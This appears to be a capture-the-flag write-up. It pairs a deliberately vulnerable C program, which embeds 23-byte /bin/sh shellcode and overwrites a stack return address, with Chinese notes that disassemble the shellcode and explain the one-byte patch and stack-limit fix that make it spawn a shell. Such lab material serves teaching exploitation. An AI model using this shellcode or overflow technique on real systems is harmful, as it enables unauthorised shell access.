#include <stdio.h>
// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
void shellcode(){
// a buffer we are about to exploit!
char buf[20];
// prepare shellcode on executable stack!
strcpy(buf, sc);
// overwrite return address!
*(int*)(buf+32) = buf;
printf("get shell\n");
}
int main(){
printf("What the hell is wrong with my shellcode??????\n");
printf("I just copied and pasted it from shell-storm.org :(\n");
printf("Can you fix it for me?\n");
unsigned int index=0;
printf("Tell me the byte index to be fixed : ");
scanf("%d", &index);
fflush(stdin);
if(index > 22) return 0;
int fix=0;
printf("Tell me the value to be patched : ");
scanf("%d", &fix);
// patching my shellcode
sc[index] = fix;
// this should work..
shellcode();
return 0;
}
看代碼, 使用了一段有效的shellcode但是執(zhí)行失敗, gdb跟進(jìn)去發(fā)現(xiàn)是因?yàn)閑sp接近shellcode存放區(qū)域, 調(diào)用push指令破壞了shellcode.
- xor %eax,%eax
- push %eax
- push $0x68732f2f
- push $0x6e69622f
- mov %esp,%ebx
- push %eax
- push %ebx
- mov %esp,%ecx
- mov $0xb,%al
- int $0x80
由于只能改一位, 需要修改的是6. push eax(即偏移15), 網(wǎng)上查到說(shuō)leave指令可以, 但是測(cè)試發(fā)現(xiàn)無(wú)效, pop esp顯然有效, 可以極大修改esp的值, 測(cè)試無(wú)效. 最后查writeup發(fā)現(xiàn)需要修改棧的范圍
ulimit -s unlimited
這一點(diǎn)確實(shí)沒(méi)想到, 也使得這種解法在此處有所瑕疵
